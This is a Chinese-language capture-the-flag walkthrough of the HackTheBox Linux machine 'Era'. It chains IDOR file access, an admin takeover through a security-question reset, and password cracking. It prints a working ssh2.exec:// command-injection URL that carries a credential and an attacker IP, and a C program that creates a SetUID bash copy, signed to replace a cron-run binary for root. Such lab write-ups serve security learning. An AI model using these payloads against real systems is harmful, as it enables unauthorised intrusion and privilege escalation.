HTB: Era
简介
Era是一台中等难度的Linux靶机,其攻击路径涉及一个存在多处IDOR(不安全的直接对象引用)漏洞的自定义文件上传网站。通过利用这些漏洞,攻击者可以下载网站备份,进而获得管理员访问权限。管理员面板存在一个PHP漏洞,可利用SSH2模块在主机上执行命令并获得反向shell。最后,通过创建一个经过签名的二进制文件来替换一个可以通过sudo运行的二进制文件,从而获得root权限。
信息收集
初始扫描
使用nmap扫描发现两个开放的TCP端口:FTP (21) 和 HTTP (80)。
|
|
根据nginx版本,主机很可能运行Ubuntu 20.04。两个端口显示TTL为63,这与预期的一跳之外的Linux TTL匹配。Web服务器返回重定向到era.htb。
FTP - TCP 21
尝试匿名登录失败:
|
|
子域名爆破
使用ffuf对era.htb进行子域名爆破,发现一个额外的子域名file.era.htb。
|
|
era.htb - TCP 80
该网站是一个室内设计公司的静态网站,没有发现明显功能点。使用feroxbuster进行目录扫描,只发现静态资源目录。
file.era.htb
该网站提供文件托管服务,包含登录、注册和“使用安全问题登录”功能。网站使用PHP构建。
获取Shell(用户eric)
文件ID暴力破解 - IDOR
通过已认证会话,使用ffuf暴力破解文件ID,发现可以访问其他用户的文件(ID 54和150),存在IDOR漏洞。
|
|
下载文件ID 54,得到一个包含加密文件(key.pem和x509.genkey)的signing.zip压缩包。
网站源码分析
从备份文件中获得网站源码,关键文件分析:
- reset.php:存在漏洞,允许任何用户通过输入用户名更新其他用户的安全问题。
- download.php:存在特殊分支,当用户ID(erauser)为1(管理员)且参数
show=true时,可以传递format参数,该参数被用作协议包装器通过fopen获取文件,存在潜在风险。 - login.php:确认用户ID存储在会话的
erauser变量中。
数据库分析
SQLite数据库filedb.sqlite包含users表,其中用户ID 1的用户名为admin_ef01cab31aa。
破解哈希
使用hashcat破解用户密码哈希,成功破解eric和yuri的密码:
|
|
FTP访问
使用yuri:mustang成功登录FTP,发现php8.1_conf目录包含ssh2.so等PHP扩展模块。
远程代码执行(RCE)
- 获取管理员访问权限:利用
reset.php中的漏洞,更新admin_ef01cab31aa的安全问题,并以管理员身份登录。 - SSH2模块RCE:在管理员面板中,上传文件并利用
download.php中的format参数,结合PHP SSH2模块的ssh2.exec://包装器执行命令。构造如下请求实现命令执行(例如ping):1/download.php?id=7964&show=true&format=ssh2.exec://yuri:mustang@localhost:22/ping+-c+1+10.10.14.6%23 - 获取反向Shell:通过执行bash反向shell命令获得初始shell访问权限,并升级为完全交互式shell。
权限提升(Root)
枚举
- 用户
eric属于devs组。 - 在
/opt/AV/periodic-checks/目录下发现名为monitor的ELF二进制文件和status.log日志文件,其修改时间每分钟更新,暗示存在cron任务。 - 使用
pspy监控进程,发现cron每分钟运行/root/initiate_monitoring.sh脚本,该脚本使用objcopy提取monitor二进制文件的.text_sig节,然后运行monitor。
monitor签名验证
.text_sig节包含PKCS#7/CMS数字签名。cron脚本会验证二进制文件的签名,如果签名无效则拒绝执行并记录错误。
|
|
利用
- 分析签名机制:通过搜索发现
linux-elf-binary-signer项目,该项目可以向ELF二进制文件添加自定义的.text_sig签名节。之前通过IDOR获得的signing.zip中的x509.genkey文件与该项目示例匹配,key.pem是私钥。 - 创建恶意二进制:编写一个C程序,编译后生成能创建SetUID/SetGID bash副本的二进制文件。
1 2 3 4 5 6 7 8 9 10 11#include <unistd.h> #include <stdlib.h> #include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); system("cp /bin/bash /tmp/0xdf && chmod 6777 /tmp/0xdf"); } - 签名二进制:在Ubuntu 20.04 Docker容器中使用
linux-elf-binary-signer和获得的私钥对编译后的二进制进行签名。1/linux-elf-binary-signer/elf-sign sha256 key.pem key.pem exploit monitor - 替换与执行:将签名后的
monitor二进制文件上传到靶机,替换原有的/opt/AV/periodic-checks/monitor。等待cron任务执行后,在/tmp/目录下生成SetUID/SetGID的bash副本0xdf。 - 获取Root Shell:运行
/tmp/0xdf -p获得root权限的shell,并读取root.txt。